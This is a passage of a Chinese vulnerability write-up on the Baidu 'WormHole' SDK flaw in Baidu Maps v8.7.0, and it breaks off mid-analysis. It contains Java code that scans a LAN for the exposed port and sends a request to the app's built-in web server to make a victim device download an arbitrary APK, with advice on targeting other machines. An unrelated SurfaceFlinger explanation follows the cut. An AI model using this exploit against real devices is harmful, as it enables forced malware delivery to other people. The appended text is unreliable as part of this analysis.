百度全系APP SDK漏洞–WormHole虫洞漏洞

   0x00

    我们以百度地图v8.7.0为例来分析百度蠕虫漏洞,apk下载地址为https://github.com/jltxgcy/AppVulnerability/Baidu_Maps_v8.7.0.apk

    使用Android Killer来打开这个apk,Android Killer下载地址为http://pan.baidu.com/s/1jGQUzwa

    我们先讲述如何在代码层利用这个漏洞,然后再分析其原理。

    百度蠕虫漏洞利用代码地址:https://github.com/jltxgcy/AppVulnerability/tree/master/BaiduWormHole


   0x01

    1、首先要安装百度地图v8.7.0的apk,并启动apk。因为apk启动后才有这个漏洞,才可以被利用。

    2、 然后运行BaiduWormHole这个Android工程,运行后效果如下图:

     
     

    点击扫描按钮,实际上看局域网内是否有可以被利用的端口40310。代码如下:

    private List<String> checkHosts(String subnet) {
        List<String> ret = new ArrayList<>();
        for (int i = 1; i < 255; i++) {
            String host = subnet + "." + i;

            if (isReachable(host, 6259)) {
                host += ":6259";
                ret.add(host);
            } else if (isReachable(host, 40310)) {
                host += ":40310";
                ret.add(host);
            }
        }

        return ret;
    }
    比如局域网本机IP为10.10.154.12,那么会遍历从10.10.154.0:40310~10.10.154.255:40310是否可连接,可连接说明可以利用这个漏洞。这是为什么呢?我们一会分析。isReadable实现如下:

    private boolean isReachable(String host, int port) {
        SocketAddress sockaddr = new InetSocketAddress(host, port);
        Socket socket = new Socket();
        try {
            socket.connect(sockaddr, timeout);
        } catch (Exception e) {
            return false;
        } finally {
            try {
                socket.close();
            } catch (IOException ex) {
            }
        }

        return true;
    }
    

    我们接着看点击开始,会执行什么代码:

URL url;
try {
	url = new URL("http://127.0.0.1:40310/downloadfile?callback=callback1&mcmdf=inapp_baidu_bdgjs&querydown=download&downloadurl="
			+ urlText.getText().toString() + "&savepath=Download1&filesize=10");
	HttpURLConnection conn = (HttpURLConnection) url.openConnection();
	conn.setConnectTimeout(5000);
	conn.setReadTimeout(5000);
	conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
	conn.setRequestProperty("remote-addr", "127.0.0.1");
	conn.setRequestProperty("referer", "http://www.baidu.com");
	int responseCode = conn.getResponseCode();
	if (responseCode == HttpURLConnection.HTTP_OK){
		return convertStreamToString(conn.getInputStream());
	}
}
catch (Exception e) {
	// TODO Auto-generated catch block
	e.printStackTrace();
}
    刚刚判断了局域网内是否有可以被攻击的对象。我们假设本机的IP地址为10.10.154.12,假设本机和另一个机器10.10.154.18都安装百度地图v8.7.0的apk,并且已经运行过。那么扫描的结果就是这两个ip地址, 10.10.154.12和10.10.154.18。

    在我们这个工程中,直接写死了127.0.0.1说明是本机地址也就是10.10.154.12。如果想攻击局域网内其他机器,如10.10.154.18,那么要改为10.10.154.18。便可攻击局域网其他机器。

    我们以本机攻击为例,实际上百度蠕虫漏洞的本质是百度应用在本机利用socket开了一个简易的WebServer,参考使用NanoHttpd实现简易WebServer

    以上url请求后,会根据downloadurl的地址下载对应的内容,这个例子是下载微信apk,然后提示用户安装。

   

   0x02

    下面分析原理,我们先从后往前推理,参考NanoHttpd实现简易WebServer。百度地图也一定初始化了ServerSocket,我们找到对应的代码位于com.baidu.hello.patch.moplus.nebula.b包下a类中a()方法。如下:

  public void a()
  {
    this.c = new ServerSocket();
    ServerSocket localServerSocket = this.c;
    if (this.a != null) {}
    for (InetSocketAddress localInetSocketAddress = new InetSocketAddress(this.a, this.b);; localInetSocketAddress = new InetSocketAddress(this.b))
    {
      localServerSocket.bind(localInetSocketAddress);
      this.e = new Thread(new v(this));
      this.e.setDaemon(true);
      this.e.setName("NanoHttpd Main Listener");
      this.e.start();
      return;
    }
  }
    我们还记
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
在 Android 13 中,SurfaceFlinger 的主线程扫描所有的 Surface 对象的代码主要是由 `SurfaceFlinger::onMessageRefresh` 方法实现的。该方法是主线程的消息处理函数,当主线程收到“刷新”消息时,就会调用该方法。 具体来说,`SurfaceFlinger::onMessageRefresh` 方法的代码路径如下: 1. 遍历 SurfaceFlinger 中的所有 Layer(即 Surface 对象),并检查它们的状态是否发生了改变。这个过程是由主线程中的 `mDrawingState.traverseInZOrder` 方法实现的,该方法会遍历所有的 Layer,并调用每个 Layer 的 `onPreComposition` 方法来检查它们的状态。 2. 如果某个 Layer 的状态发生了改变,就会调用相应的客户端进程,要求其重新提交该 Layer 的缓冲区。这个过程是由 `SurfaceFlinger::postComposition` 方法实现的,该方法会遍历所有的 Layer,并调用每个 Layer 的 `onPostComposition` 方法来通知客户端进程。 3. 如果客户端进程提交了新的缓冲区,就会将这些缓冲区合成到一个帧缓冲区中,并在下一次屏幕刷新时将其发送到显示器。这个过程是由主线程中的 `composeSurfaces` 和 `drawWormhole` 方法实现的,它们会将所有的 Layer 缓冲区合成到一个帧缓冲区中,并在需要时添加Wormhole)层用于处理透明度。 下面是 `SurfaceFlinger::onMessageRefresh` 方法的伪代码: ```cpp void SurfaceFlinger::onMessageRefresh() { // 遍历所有的 Layer,并检查它们的状态是否发生了改变 mDrawingState.traverseInZOrder([&](Layer* layer) { // 调用每个 Layer 的 onPreComposition 方法来检查它们的状态 layer->onPreComposition(); }); // 如果某个 Layer 的状态发生了改变,就通知客户端进程重新提交缓冲区 postComposition(); // 将所有的 Layer 缓冲区合成到一个帧缓冲区中,并添加层 composeSurfaces(); drawWormhole(); } ```

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值